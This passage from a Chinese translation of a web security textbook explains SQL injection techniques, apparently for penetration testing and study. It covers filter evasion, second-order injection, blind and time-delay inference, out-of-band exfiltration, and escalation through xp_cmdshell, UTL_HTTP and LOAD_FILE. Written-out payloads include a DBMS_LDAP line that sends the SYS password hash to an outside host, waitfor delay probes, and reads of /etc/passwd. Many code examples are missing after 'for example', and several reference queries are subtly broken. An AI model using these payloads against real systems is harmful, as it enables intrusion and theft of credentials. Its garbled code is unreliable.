Matthew Adamson handytrick@gmail.com

[空] [空]

现在我们验证查询的第一列是否包含字符串数据:

人 名 电子邮件地址

Matthew Adamson handytrick@gmail.com

[a]

接下来,需要查明可能包含有用信息的数据库表和列的名称。为此,我们需要查询元数据表information_schema.columns,其中包含数据库中的所有表和列名称的详细资料。使用以下请求可以检索上述信息:

人 名 电子邮件地址

Matthew Adamson handytrick@gmail.com

shop_items Price

shop_items Prodid

shop_items Prodname

addr_book Contactemail

addr_book Contactname

Users Username

Users Password

从以上结果可以确定,很明显,我们可以从用户表开始提取数据。这时使用以下查询:

人 名 电子邮件地址

Matthew Adamson handytrick@gmail.com

administrator fme69

dev uber

marcus 8pinto

smith twosixty

jlo 6kdown

 提示 MS-SQL、MySQL和许多其他数据库(包括SQLite 和Postgresql)均支持information_schema。它主要用于保存数据库元数据,这也使它成为探查数据库的攻击者的主要目标。需要注意的是,Oracle并不支持该方案。对Oracle数据库实施攻击时,攻击方法在其他各方面可能完全相同。但是,需要使用查询SELECTtable_name,column_name FROM all_tab_columns来检索有关数据库表和列的信息。(使用user_tab_columns表以仅针对当前数据库。)通常,在分析大型数据库以探查攻击目标时,最好是查找有用的列名称,而不是表。例如:

 提示 如果目标表返回了多个列,则可以将这些列串连到单独一个列中,这样检索起来会更加方便,因为这时只需要在原始查询中确定一个varchar字段:

Oracle:SELECT table_name||’:’||column_name FROM all_tab_columns

MS-SQL:SELECT table_name+’:’+column_name from information_schema.columns

MySQL:SELECT CONCAT(table_name,’:’,column_name) from information_schema.columns

避开过滤

有时,易受SQL 注入攻击的应用程序可能会执行各种输入过滤以防止攻击者无限制地利用其中存在的缺陷。例如,应用程序可能会删除或净化某些字符,或阻止常用的SQL关键字。这种过滤通常非常容易避开,这时可尝试使用各种技巧。

避免使用被阻止的字符

如果应用程序删除或编码某些在SQL注入攻击中经常用到的字符,不使用这些字符仍然能够实施攻击。

如果要注入数字数据字段或列名称,不一定必须使用单引号。要在攻击有效载荷中插入字符串,不使用引号仍可以做到这一点。这时,可以通过各种字符串函数,使用每个字符的ASCII代码动态构建一个字符串。例如,下面两个查询分别用于Oracle和MS-SQL,它们等同于select ename,sal from emp where ename=‘marcus’:

如果注释符号被阻止,通常可以设计注入的数据,使其不会破坏周围查询的语法。例如,不用注入

可以注入

在MS-SQL数据库中注入批量查询时,不必使用分号分隔符。只要纠正所有批量查询的语法,无论你是否使用分号,查询解析器都会正确解释它们。

尝试访问

http://mdsec.net/addressbook/71/

http://mdsec.net/addressbook/76/

避免使用简单确认

一些输入确认机制使用一个简单的黑名单,阻止或删除任何出现在这个名单中的数据。在这种情况下,应该尝试使用标准的攻击方法,寻找确认和规范化机制中的常见缺陷(如第2章所述)。例如,如果SELECT关键字被阻止或删除,可以尝试使用以下输入:

尝试访问

http://mdsec.net/addressbook/58/

http://mdsec.net/addressbook/62/

使用 SQL 注释

与C++一样,我们也可以在SQL语句中插入行内注释,注释内容包含在/*与*/符号之间。如果应用程序阻止或删除输入中的空格,可以使用注释“冒充”注入数据中的空白符。例如:

在MySQL中,注释甚至可以插入关键字中,这种方法可避开某些输入确认过滤,同时保留查询中的语法。例如:

利用有缺陷的过滤

输入确认机制通常包含逻辑缺陷,可对这些缺陷加以利用,使被阻止的输入避开过滤。多数情况下,这类攻击会利用应用程序在对多个确认步骤进行排序,或未能以递归方式应用净化逻辑方面的缺陷。我们将在第11章介绍这类攻击。

尝试访问

http://mdsec.net/addressbook/67/

二阶SQL注入

一种特别有益的避开过滤的方法与二阶SQL注入(second-order SQL injection)有关。当数据首次插入数据库中时,许多应用程序能够安全处理这些数据。但是,一旦数据存储在数据库中,随后应用程序本身或其他后端进程可能会以危险的方式处理这些数据。许多这类应用程序并不像面向因特网的主要应用程序一样安全,但却拥有较高权限的数据库账户。

在一些应用程序中,用户输入在到达时通过转义单引号来进行确认。在前面搜索书籍的示例中,这种方法明显有效。当用户输入搜索项O'Reilly时,应用程序执行以下查询:

在这个查询中,用户提交的单引号被转换为两个单引号,因而传送给数据库的搜索项与用户最初输入的表达式具有相同的字符含义。

与单引号配对方法有关的问题出现在更复杂的情形中,此时同一个数据项被提交给几个SQL查询,然后写入数据库被几次读取。这是证明简单输入确认相对于边界确认存在不足的一个示例,如第2章所述。

回到前面那个允许用户自我注册并且在一个INSERT语句中存在SQL注入漏洞的应用程序。假设开发者将修复出现在用户数据中的所有单引号配对导致的漏洞。注册用户名foo'来建立如下查询,它不会在数据库中造成问题:

目前为止一切正常。然而,假设应用程序还执行密码修改功能,那么只有通过验证的用户才能够访问这项功能,而且为了加强保护,应用程序要求用户提交原始密码。然后应用程序从数据库中提取用户的当前密码,并对两个字符串进行比较,核对用户提供的密码是否正确。要完成核对任务,它首先要从数据库提取用户的用户名,然后建立如下查询:

因为保存在数据库中的用户名是字面量字符串foo',当应用程序提出访问要求时,数据库即返回这个值;只有在字符串被传送给数据库时才使用配对的转义序列。因此,当应用程序重复使用这个字符串并将它嵌入到另一个查询中时,就会造成一个SQL注入漏洞,用户最初的恶意输入就被嵌入到查询中。当用户尝试修改密码时,应用程序返回以下消息,暴露了上述缺陷:

要利用这种漏洞,攻击者只需注册一个包含专门设计的输入用户名,然后尝试修改密码。例如,如果注册如下用户名:

注册步骤将会被应用程序安全处理。如果攻击者尝试修改密码,他注入的查询就会执行,导致生成以下消息,泄露管理员的密码:

攻击者已经成功避开旨在阻止SQL注入攻击的输入确认,现在他能够在数据库中执行任意查询并获得查询结果。

尝试访问:

http://mdsec.net/addressbook/107/

高级利用

到现在为止,我们描述的所有攻击中,有一些现成的方法可帮助从数据库中提取有用的数据,例如,通过执行UNION攻击或在错误消息中返回数据。随着人们防御SQL注入威胁意识的增强,这种情形已经逐渐消失。如今,即使遇到SQL注入漏洞,攻击者仍然无法直接获取注入的查询的结果,这种情况日益增多。我们将讨论几种出现这种问题的情况,以及如何处理这些情况。

 注解 应用程序所有者应意识到,并非所有攻击都旨在盗窃敏感数据。一些攻击可能更具破坏性,例如,仅仅提交12个字符的输入,攻击者就能够使用关闭命令(shutdown)关闭一个MS-SQL数据库。

攻击者还可以注入恶意命令,如下面这些命令可删除一些数据库表:

获取数字数据

如果包含单引号的输入得到正确处理,那么应用程序中的字符串字段就不易受SQL注入攻击。但是,数字数据字段可能仍然存在漏洞。在这种字段中,用户输入并不包含在单引号中。这时攻击者只有通过应用程序的数值响应(numeric response),才能获得注入查询的结果。

在这种情况下,攻击者需要做的是获取数字形式的有用数据,对注入查询的结果进行处理。他们可以使用以下两个关键函数:

ASCII,它返回输入字符的ASCII代码;

SUBSTRING(或Oracle中的SUBSTR),它返回输入的子字符串。

这些函数可结合在一起使用,以数字形式从一个字符串中提取单独一个字符。例如:

SUBSTRING(‘Admin’,1,1)返回A

ASCII(‘A’)返回65

因此

ASCII(SUBSTR(‘Admin’,1,1))返回65

使用这两个函数,可以系统地将一个有用数据的字符串分割成单个的字符,并以数字形式分别返回每一个字符。在自定义攻击中,可以利用这种技巧,以一次一个字节的速度,迅速获得并重建大量基于字符串的数据。

 提示 在处理字符串操作和数字计算方面,不同数据库平台之间存在大量细微的区别,当实施这种高级攻击时,攻击者需要意识到这类区别。通过以下地址可以找到说明不同数据库之间这些区别的详细指南:http://sqlzoo.net/howto/source/z.dir/i08fun.xml。

我们曾经遇到上述问题的另一种表现形式,即应用程序返回的并不是真正的数字,而是一些以该数字为标识符的资源。应用程序根据用户的输入执行一个SQL查询,获得一个文档的数字标识符,然后将文档的内容返回给用户。在这种情况下,攻击者可以先获得标识符在相关数字范围内的每一份文档的备份,然后在文档内容与标识符之间建立映射。接下来,当实施前面描述的攻击时,攻击者就可以参考这个映射确定应用程序返回的每个文档的标识符,因而得到他们成功提取的字符的ASCII值。

使用带外通道

在许多SQL注入攻击中,应用程序并不在用户的浏览器中显示注入查询的结果,也不返回数据库生成的任何错误消息。很明显,在这种情况下,即使一个SQL注入漏洞确实存在,攻击者也无法对其加以利用,提取任意数据或执行任何其他操作。但是,这种想法是错误的,即使出现这种情况,仍然可以使用各种技巧获取数据、确认其他恶意操作是否取得成功。

许多时候,可以注入任意一个查询,但却无法获得查询结果。回到那个易受攻击的登录表单,它的用户名和密码字段易于遭受SQL注入:

除了修改查询逻辑以避开登录外,还可以注入一个完全独立的子查询,使用字符串连接符把这个子查询的结果与控制的数据项连接起来。例如:

应用程序将执行以下查询:

数据库将执行注入的任何子查询,并将它的结果附加在foo之后,然后查找所生成用户名的资料。当然,这种登录不会成功,但会执行注入的查询。在应用程序响应中收到的只是标准的登录失败消息。现在需要想办法获得注入查询的结果。

如果能对MS-SQL数据库使用批量查询(batch query),这时就会出现另一种情形。批量查询特别有用,因为它们允许执行一个完全独立的语句,在这个过程中,渗透测试员拥有全部的控制权,可以使用另外的SQL语句并针对不同的表进行查询。但是,因为批量查询执行查询的方式比较特殊,我们无法直接获得注入查询的执行结果,同样需要想办法获得注入查询的结果。

在这种情况下,一种获取数据的有效方法是使用带外通道。能够在数据库中执行任意SQL语句后,渗透测试员往往可以利用数据库的一些内置功能在数据库与自己的计算机之间建立网络连接,通过它传送从数据库中收集到的任何数据。

建立适当网络连接的方法依不同的数据库而定,而且取决于应用程序访问数据库所使用的用户权限。下面将描述一些使用每种数据库时最常用、最有效的技巧。

MS-SQL

一些老式数据库,如MS-SQL2000以及更早的版本,可使用OpenRowSet命令与外部数据库建立连接并在其中插入任何数据。例如,下面的查询可使目标数据库与攻击者的数据库建立连接,并将目标数据库的版本字符串插入表foo中:

注意,可以指定端口80,或者任何其他可能的值,以提高穿透防火墙建立外部连接的可能性。

Oracle

Oracle 中包含大量低权限用户可访问的默认功能,可以使用它们建立带外连接。

UTL_HTTP包可用于向其他主机提出任意HTTP请求。UTL_HTTP包含丰富的功能,并支持代理服务器、cookie、重定向和验证。这意味着,如果攻击者已经攻破一个受到强大保护的企业内部网络中的数据库,他就能够利用企业代理服务器与因特网建立外部连接。

在下面的示例中,UTL_HTTP用于向攻击者控制的服务器传送注入查询的结果。

这个URL促使UTL_HTTP提出一个GET请求,要求访问包含all_users表中第一个用户名的URL。攻击者只需在mdattacker.net安装一个netcat监听器就可以收到结果。

UTL_INADDR包旨在将主机名解析为IP地址。它可用于在攻击者控制的服务器中生成任意DNS查询。许多时候,相比于UTL_HTTP攻击,这类攻击更可能取得成功,因为即使HTTP流量被阻止,通常DNS流量仍然能够穿透企业防火墙。攻击者能够利用这个包查找选择的主机名,将它作为子域放在他们控制的一个域名前面,以此迅速获得任意数据,例如:

它向包含SYS用户的密码散列(password hash)的mdattacker.net名称服务器发出下面这个DNS查询:

UTL_SMTP包可用于发送电子邮件。在出站电子邮件中发送这个包,即可获得大量从数据库中截取的数据。

UTL_TCP包可用于打开任意TCP套接字,以发送和接收网络数据。

 注解 在Oracle 11g中,ACL为上述许多资源提供保护,以防止任意数据库用户执行恶意操作。只需研究一下Oracle 11g中提供的新功能,就可以轻松避开该ACL,使用以下代码即可实现:

SYS.DBMS_LDAP.INIT((SELECT PASSWORD FROM SYS.USER$ WHERE NAME=‘SYS’)||‘.mdsec.net’,80)

MySQL

SELECT…INTO OUTFILE命令可将任意一个查询的输出指向一个文件。指定的文件名可包含UNC路径,允许将输出指向自己计算机上的一个文件。例如:

要想接收到文件,必须在计算机上建立SMB共享,允许匿名写入访问。可以在基于Windows和UNIX的平台上配置共享,以实现匿名写入。如果无法接收到输出的文件,可能是因为SMB服务器的配置有问题。可以使用一个嗅探器确定目标服务器是否与指定计算机建立了入站连接(inbound connection),如果连接已经建立,参考服务器文档资料确保它得到正确配置。

利用操作系统

通常可以在数据库服务器的操作系统上执行任意命令,以此实施权限提升攻击。这时,攻击者可以采用许多手段获得数据,如使用tftp、mail和telnet等内置命令,或者将数据复制到Web根目录使用浏览器获取。请参阅9.2.11节了解提升数据库权限的各种技巧。

使用推论:条件式响应

造成带外通道不可用的原因有许多。大多数情况下,是因为数据库处在一个受保护的网络中,它的边界防火墙禁止任何与因特网或其他网络的带外连接。这时,只能通过Web应用程序注入点(injection point)访问数据库。

在这种情况下,攻击或多或少带有盲目性质,但攻击者仍然可以使用各种技巧从数据库中获得任意数据。这些技巧全都基于如下概念:使用一个注入查询有条件地在数据库中触发某种可以探测的行为,然后根据这种行为是否发生推断出所需信息。

回到那个可注入用户名和密码字段以执行任意查询的登录功能:

假设还没有找到将注入查询的结果返回给浏览器的方法,但我们已经知道如何使用SQL注入改变应用程序的行为。例如,提交下面两个输入将得到截然不同的结果:

在第一种情况中,应用程序将允许攻击者以管理员的身份登录。在第二种情况中,登录尝试将会失败,因为1=2这个条件总为假。可以利用这种应用程序行为控制推断数据库中任意条件的真假。例如,使用前面描述的ASCII和SUBSTRING函数,攻击者可以测试截获字符串中的一个字符是否为特定的值。例如,提交下面这段输入将允许攻击者以管理员身份登录,因为经测试条件为真:

但是,提交下面的输入,登录不会取得成功,因为经测试条件为假:

提交大量这类查询,循环每个字符的所有可能的ASCII编码,直到出现一个“触点”,就能够以每次一个字节的速度,提取出整个字符串。

引发条件性错误

在前面的示例中,应用程序拥有一些主要功能,可以通过注入一个现有的SQL查询直接控制它们的逻辑。攻击者能够劫持应用程序计划执行的行为(成功或失败的登录)以获得想要的信息。然而,并非所有攻击都这样简单。有时,注入的查询并不会给应用程序的行为(如日志机制)造成直接影响。或者,应用程序并不处理注入的一个子查询或批量查询。在这种情况下,攻击者必须根据特定的条件,争取在应用程序中造成可探测的行为差异。

David Litchfield发现了一种技巧,可在大多数情况下触发可探测的行为差异。其核心理念是注入一个查询,依照某个特定的条件引发一个数据库错误。如果发生数据库错误,可以通过HTTP500响应码,或者通过某种错误消息或反常行为(即使错误消息本身并未揭示任何有用的信息),从外部探测到这个错误。

这种技巧利用了数据库在求条件语句的值时表现出的一个行为特点:数据库将根据其他部分的情况,仅对那些需要求值的语句部分求值。包含WHERE子句的SELECT语句就是表现出这种行为的一个典型示例:

这条语句使数据库访问表Y的每一行,评估条件C。如果条件C为真,返回X。如果条件C永为假,永远不求出表达式X的值。

可以找到一个语法有效但如果求值就会生成错误的表达式X,对这种行为加以利用。在Oracle与MS-SQL中,被零除计算就是这样的表达式,如1/0。如果条件C为真,那么求表达式X的值,这造成一个数据库错误。如果条件C为假,就不会发生错误。因此,可以通过是否发生错误测试任意一个条件C。

下面的查询就是一个典型的示例,它查询默认的Oracle用户DBSNMP是否存在。如果该用户存在,就会求表达式1/0的值,造成一个错误。

下面的查询检查虚构用户AAAAAA是否存在。因为WHERE条件永为假,所以不求表达式1/0的值,因而不会发生错误。

这种技巧的目的是在应用程序中引发一个条件性响应,即使注入的查询不会给应用程序的逻辑或数据处理造成影响。因此,利用它就可以使用前面描述的推论技巧在各种情况下提取到所需要的数据。而且,由于这种技巧非常简单,相同的攻击字符串可应用于一系列数据库,其中的注入点则位于各种类型的SQL语句中。

这种技巧的用途非常广泛,因为它可以用在可以注入子查询的各种注入点中。例如:

以一个提供可搜索并可排序的联系人数据库的应用程序为例。用户控制着department和sort参数:

以上代码出现在以下后端查询中,该查询确定了department参数的值,但将sort参数连接到查询中:

攻击者无法修改WHERE子句或在ORDER BY子句后进行UNION查询,但攻击者可以通过以下语句建立某种推断条件:

如果user_objects表中的第一个对象名称的第一个字母等于‘Y’,将导致数据库尝试对1/0求值,这会导致错误,整个查询不会返回任何结果。如果第一个字母不等于‘Y’,原始查询的结果将按默认顺序返回。通过对Absinthe或SQLMap之类的SQL注入工具仔细设定这个条件,我们可以检索数据库中的每一条记录。

使用时间延迟

尽管前面已经描述了各种复杂的技巧,但是,有些时候,这些技巧可能全部无效。有些情况下,可以注入一个不会在浏览器中显示结果的查询,但由于无法建立带外通道,即使它在数据库中引发错误,也并不会给应用程序的行为造成任何影响。

在这种情况下,幸亏NGSSoftware的Chris Anley和Sherief Hammad发现了一个技巧,我们才不至于手足无措。他们发现一种方法,设计出一个根据攻击者指定的条件造成时间延迟的查询。攻击者可以提交他设计的查询,然后监控服务器做出响应所花的时间。如果发生延迟,攻击者可推断条件为真。即使在两种情况下应用程序的响应完全相同,攻击者仍然可根据是否存在时间延迟从数据库中提取一比特数据。通过大量执行这类查询,攻击者就能够系统性地从数据库中提取任何复杂的数据,每次一比特。

引发适当时间延迟方法的精确性取决于所使用的目标数据库。MS-SQL中包含一个内置WAITFOR命令,可用于引起一个指定的时间延迟。例如,如果当前数据库用户为sa,下面的查询将造成5秒钟的时间延迟:

使用这个命令,攻击者就能够以各种方式提取任何信息。一种方法是利用前面已经描述的、在应用程序返回条件性响应时用到的相同技巧。现在,如果满足一个特殊条件,注入的查询就不再触发一个不同的应用程序响应,相反,它引发一次时间延迟。例如,下面的第二个查询将引发一次时间延迟,表示被截获字符串的第一个字母为A。

和前面一样,攻击者可以循环使用每个字符的所有可能值,直到发生时间延迟。另外,可以通过减少所需请求的数量,提高攻击的效率。另一个技巧是将每个字节的数据划分成比特,并在每次查询中获得一比特的数据。POWER命令和按位“与”运算符&可在逐比特的基础上指定条件。例如,以下查询测试被截获数据的第一字节的第一比特,如果其值为1,终止查询:

下面的查询对第二比特执行相同的测试:

如前所述,这种引发时间延迟方法的准确性在很大程度上取决于所使用的数据库。在当前版本的My-SQL中,睡眠函数可创建指定时间的时间延迟,例如:

在5.0.12版本之前的MySQL中,不能使用睡眠函数,但可以使用基准函数(benchmark function)重复执行一个特定的操作。指示数据库执行一个处理器密集型操作,如SHA-1散列,大量的操作次数将造成一次可测量的时间延迟。例如:

在PostgreSQL中可使用PG_SLEEP函数,其使用方法与MySQL睡眠函数相同。

在Oracle中,没有产生时间延迟的内置方法,一种方法是使用UTL_HTTP连接一个不存在的服务器,造成一次操作超时。这会使数据库尝试与指定的服务器建立连接,并最终造成超时。例如:

可以利用这种行为根据指定的某个条件造成时间延迟。例如,如果默认的Oracle账户DBSNMP存在,下面的查询将会造成一次超时:

如前所述,在Oracle和MySQL数据库中,都可以使用SUBSTR(ING)和ASCII函数每次一字节地获取任意信息。

 提示 我们已经说明了如何使用时间延迟来获得有用的信息。然而,当对应用程序进行初步探查、检测SQL注入漏洞时,时间延迟技巧也可能非常有用。在一些完全盲目的SQL注入攻击中,浏览器中不会显示查询结果,所有错误都被应用程序以隐含的方式处理,使用提交专门设计的输入的标准技巧可能很难检测出漏洞。这时,使用时间延迟是在初步探查过程中检测一个漏洞是否存在的最有效方法。例如,如果后端数据库为MS-SQL,那么可以将下面的两个字符串轮流注入每个请求参数中,并监控应用程序响应请求所用的时间,从而确定所有漏洞:

‘; waitfor delay ‘0:30:0’--

1; waitfor delay ‘0:30:0’--

尝试访问

本实验示例包含一个不会返回任何错误反馈的SQL注入漏洞,可使用它练习各种高级技巧,包括条件式响应和时间延迟。

http://mdsec.net/addressbook/44/

SQL注入之外:扩大数据库攻击范围

成功利用一个SQL注入漏洞往往可完全控制应用程序的所有数据。大多数应用程序仅使用一个账户访问数据库,并且依赖应用程序层控制在不同的用户间实施访问隔离。如果能够无限制地使用应用程序的数据库账户,就可以自由访问其中的数据。

因此,可以假设,拥有应用程序的所有数据是SQL注入攻击的最终目的。然而,许多原因表明,利用数据库中的漏洞,或者控制它的一些内置功能以达到目的,从而进一步实施攻击,可能会取得更大的成效。通过扩大数据库攻击范围可实施的其他攻击如下。

如果数据库被其他应用程序共享,可以通过提升数据库的使用权限访问其他应用程序的数据。

可以攻破数据库服务器的操作系统。

可以访问其他系统。通常,数据库服务器是一个在几层网络边界防御保护下的网络中的主机。如果能够控制数据库服务器,攻击者就处在一个可信的位置上,可以访问其他主机上的关键服务,进一步对其加以利用。

可以在主机基础架构与自己的计算机之间建立网络连接。这样,攻击者就可以完全避开应用程序的防御,轻易传送从数据库收集到的大量敏感数据,并且可穿透许多入侵检测系统。

可以通过创建用户定义的功能任意扩充数据库的现有功能。有些时候,可以通过这种方式重新执行已被删除或禁用的功能,避开数据库实施的强化保护措施。只要已经获得数据库管理员(DBA)权限,就有办法在每种主流数据库中执行这种操作。

 错误观点 许多数据库管理员认为,数据库没有必要防御需要通过验证才能加以利用的攻击。他们以为,只有相同组织拥有的可信应用程序才能访问数据库。这种观点忽略了恶意第三方利用应用程序中存在的缺陷,在应用程序认为安全的背景下与数据库交互的可能性。刚刚描述的每一种可能的攻击证明,数据库必须防御通过验证的攻击者。

攻击数据库是一个内容广泛的主题,它不在本书的讨论范围之内。本节将分析几种关键方法,说明如何通过它们利用主要数据库的漏洞和功能扩大攻击范围。我们得出的主要结论是:每种数据库都有提升权限的可能性。应用当前发布的安全补丁和可靠的强化措施能够帮助避免许多(但并非全部)这种攻击。

MS-SQL

最常被攻击者滥用的数据库功能可能是xp_cmdshell存储过程,它是MS-SQL默认内置的一项功能。这个存储过程允许数据库管理员用户以和cmd.exe命令提示符相同的方式执行操作系统命令。例如:

攻击者可在众多情况下滥用这项功能。他们可以执行任意命令,将结果指向本地文件,然后读取文件内容。他们可以打开一个连通自己计算机的带外网络连接,并建立一条秘密的命令和通信渠道,从服务器复制数据并上传攻击工具。由于MS-SQL默认以LocalSystem运行,攻击者一般能够完全攻破基本的操作系统,执行任意操作。MS-SQL中还有许多其他存储过程,如xp_regread或xp_regwrite,也可用于在Windows操作系统注册表中执行强大的操作。

处理默认锁定

互联网上的大多数MS-SQL为MS-SQL 2005或更高版本。这些版本提供各种安全功能,可以在默认情况下锁定数据库,以防止各种攻击。

但是,如果数据库中的Web应用程序用户账户拥有足够高的权限,则通过重新设置数据库,该用户就可以突破上述功能实施的限制。例如,可以使用sp_configure存储过程重新启用被禁用的xp_cmdshell。以下4行SQL代码用于实现这一目的:

这样,xp_cmdshell就被重新启用,并可以通过以下命令运行:

Oracle

人们已在Oracle数据库软件中发现了大量安全漏洞。如果找到一个允许执行任意查询的SQL注入漏洞,那么就可以利用这种漏洞提升到数据库管理员权限。

Oracle包含许多可在数据库管理员权限下运行的内置的存储过程,并已发现在这些存储过程中存在SQL注入漏洞。在2006年7月发布重要补丁前,存在于默认包SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES中的缺陷就是一个典型的示例。攻击者可以利用这个缺陷,在易受攻击的字段中注入grant DBA to public查询来提升权限。

这种类型的攻击可通过利用Web应用程序中的SQL注入漏洞,在易受攻击的参数中注入函数来实现。

除这些漏洞外,Oracle还含有大量默认功能,这些功能可被低权限用户访问,并可用于执行各种敏感操作,如建立网络连接或访问文件系统。除了前面描述的用于建立带外连接的功能强大的包以外,UTL_FILE包可用于在数据库服务器文件系统上读取和写入文件。

2010年,David Litchfield演示了如何在Oracle 10g R2和11g中利用Java来执行操作系统命令。该攻击首先利用DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY中的缺陷授予当前用户java.io.filepermission权限,然后使用DBMS_JAVA.RUNJAVA 执行运行操作系统命令的Java 类(oracle/aurora/util/Wrapper)。例如:

请访问以下链接了解相关详情:

www.databasesecurity.com/HackingAurora.gdf

www.notsosecure.com/folder2/2010/08/02blackhat-2010/

MySQL

与前面讨论的其他数据库相比,MySQL中包含的可被攻击者滥用的内置功能相对较少。其中一个示例是任何拥有FILE_PRIV许可的用户都可以读取并写入文件系统。

LOAD_FILE命令可用于获取任何文件的内容。例如:

SELECT …INTO OUTFILE 命令可用于将任何一个查询的输出指向一个文件。例如:

除读取并写入关键的操作系统文件外,这些命令还可用于执行其他攻击。

因为MySQL将数据保存在明文文件中,数据库必须拥有读取这些文件的权限。拥有FILE_PRIV许可的攻击者可以打开相关文件并读取数据库中的任何数据,避开数据库实施的任何访问控制。

MySQL允许用户通过调用一个包含函数执行过程的编译库文件(compiled library file)创建一个用户定义的函数(UDF)。这个文件必须位于MySQL加载动态库的正常路径内。攻击者可以使用前面描述的方法在这个路径中创建任意二进制文件,然后建立使用这个文件的UDF。请参阅Chris Anley的论文“Hackproofing MySQL”了解这种技巧的详情。

使用SQL注入工具

我们介绍的许多利用SQL注入漏洞的攻击技巧都需要提交大量请求,以逐次提取少量的数据。幸运的是,我们可以使用各种工具来自动完成上述过程;同时,这些工具还能够识别成功实施攻击所需的数据库特定的语法。

当前,多数工具通过以下方法来利用SQL注入漏洞。

对目标请求中的所有参数实施蛮力攻击,以查找SQL注入点。

通过附加各种字符,如闭括号、注释字符和SQL关键字,确定后端SQL查询中易受攻击的字段的位置。

通过蛮力猜测请求的列数,然后确定包含varchar数据类型的列(可用于返回结果),尝试实施UNION攻击。

注入定制查询来检索任意数据——如果需要,将多个列中的数据串连成一个字符串,以便于从单独一个varchar数据类型的结果中进行检索。

如果无法使用UNION检索结果,可以在查询中注入布尔型条件(AND 1=1、AND 1=2等),以确定是否可以使用条件响应来检索数据。

如果无法通过注入条件表达式来检索结果,可以尝试使用条件时间延迟来检索数据。

这些工具通过在目标数据库中查询相关元数据表来查找数据。通常,它们能够执行一定程度的权限提升,如使用xp_cmdshell获得操作系统级访问权限。它们还使用各种优化技巧,并利用各种数据库中的诸多功能和内置函数,以减少基于推测的蛮力攻击所需提交的查询数,避开可能对单引号实施的过滤,等等。

 注解 这些工具是主要的注入工具,最适于通过利用已确定并熟悉的注入点,从数据库中提取数据。但是,在查找并利用SQL注入缺陷方面,它们也不是万能的。实际上,在通过这些工具注入数据之前或之后,通常需要提供其他一些SQL语法,以确保这些工具的硬编码攻击生效。

渗透测试步骤

使用本章前面部分介绍的技巧确定某个SQL注入漏洞后,可以考虑使用SQL注入工具来利用该漏洞,并从数据库中检索有用的数据。在需要使用盲目技巧每次检索少量数据时,这种做法尤其有效。

(1)使用拦截代理服务器运行SQL注入工具,分析该工具提交的请求以及应用程序的响应。打开工具上的任何详细输出选项,并将它的进度与观察到的查询和响应关联起来。

(2)由于这些工具通常依赖预先设置的测试和特定的响应语法,因此,攻击者可能需要将数据附加或前置到这些工具注入的字符串中,以确保获得预期的响应。典型的要求包括添加注释字符、平衡服务器的SQL查询中的单引号,以及将闭括号前置或附加到字符串以与原始查询匹配。

(3)如果尽管采用了上述方法,但查询语法仍然无效,这时,最简单的方法是创建完全受控制的嵌套查询,并使用注入工具注入该子查询。这样,注入工具就可以通过推断来提取数据。在注入标准的SELECT和UPDATE查询时,嵌套查询非常有用。在Oracle中,嵌套查询位于INSERT语句中。下面的示例前置[input]之前的文本,并附加该位置之后的闭括号:

Oracle:’||(select 1 from dual where 1=[input])

MS-SQL:(select 1 where 1=[input])

有大量工具可用于实施自动SQL注入攻击。其中许多工具针对MS-SQL,其他一些工具已停止开发,并因为新技巧的出现和SQL注入领域的发展而废弃。笔者推荐sqlmap,该工具可用于攻击MySQL、Oracle、MS-SQL及其他数据库。它执行基于UNION和推断的检索,并且支持各种权限提升方法,包括从操作系统中检索文件,以及在Windows中使用xp_cmdshell执行命令。

实际上,sqlmap是一种通过时间延迟或其他推断方法检索数据库信息的有效工具,并且可用于基于UNION的检索。利用该工具的最佳方法之一,是使用--sql-shell选项。这样,攻击者将能够在SQL提示符下于后台执行必要的UNION、基于错误或盲目的SQL注入,以发送和检索结果。例如:

SQL语法与错误参考

我们已经描述了各种探查与利用Web应用程序中存在的SQL注入漏洞所需的技巧。许多时候,向不同的后端数据库平台实施攻击时需要用到的语法之间存在一些细微的差别。另外,每一种数据库都生成不同的错误消息,当探查各种漏洞以及尝试设计一种有效的利用手段时,需要理解它们的含义。下面简要介绍这些语法和这些语法的适用情况,并解释使用过程中出现的一些不常见的错误消息。

SQL语法

要 求 ASCII和SUBSTRING

Oracle ASCII('A')等于65 SUBSTR('ABCDE',2,3)等于BCD

MS-SQL ASCII('A')等于65 SUBSTRING('ABCDE',2,3)等于BCD

MySQL ASCII('A')等于65 SUBSTRING('ABCDE',2,3)等于BCD

要 求 获取当前数据库用户

Oracle Select Sys.login_user from dual

SELECT user FROM dual

SYS_CONTEXT('USERENV','SESSION_USER')

MS-SQL select suser_sname()

MySQL SELECT user()

要 求 引起时间延迟

Oracle Utl_Http.request('http://madeupserver.com')

MS-SQL waitfor delay '0:0:10' exec master..xp_cmdshell 'ping localhost'

MySQL sleep(100)

要 求 获取数据库版本字符串

Oracle select banner from v$version

MS-SQL select version

MySQL select version

要 求 获取当前数据库

Oracle SELECT SYS_CONTEXT('USERENV','DB_NAME') FROM dual

MS-SQL select db_name()

获取服务器名称可使用:

select servername

MySQL Select database()

要 求 获取当前用户的权限

Oracle SELECT privilege FROM session_privs

MS-SQL SELECT grantee, table_name, privilege_type FROM

INFORMATION_SCHEMA.TABLE_PRIVILEGES

MySQL SELECT * FROM information_schema.user_privileges

WHERE grantee = '[user]'此处[user]由SELECT user()的输入决定

要 求 在一个单独的结果列中显示所有表和列

Oracle Select table_name||'

'||column_name from all_tab_columns

MS-SQL SELECT table_name+'

',column_name from information_schema.columns

MySQL SELECT CONCAT(table_name+'

',column_name) from information_schema.columns

要 求 显示用户对象

Oracle Select object_name, object_type from user_objects

MS-SQL SELECT name FROM sysobjects

MySQL SELECT table_name FROM information_schema.tables(或trigger_name from

information_schema.triggers等)

要 求 显示用户表

Oracle Select object_name, object_type from user_objectsWHEREobject_type='TABLE'

或者显示用户访问的所有表:SELECT table_name FROM all_tables

MS-SQL SELECT name FROM sysobjectsWHERExtype='U'

MySQL SELECT table_name FROM information_schema.tables

where table_type='BASE TABLE' and table_schema!='mysq1'

要 求 显示表foo的列名称

Oracle Select column_name, Name from user_tab_columns where table_name =

'FOO'如果目标数据不为当前应用程序用户所有,使用ALL_table_columns表

MS-SQL SELECT column_name, FROM information_schema.columns

WHERE table_name='foo'

MySQL SELECT column_name FROM information_schema.columns

WHERE table_name='foo'

要 求 与操作系统交互(最简单的方式)

Oracle 请参阅David Litchfield所著的The Oracle Hacker's Handbook一书

MS-SQL exec xp_cmshell 'dir c:\'

MySQL select load_file('/etc/passwd')

SQL错误消息

Oracle ORA-01756: quoted string not properly terminated

ORA-00933:SQLcommand not properly ended

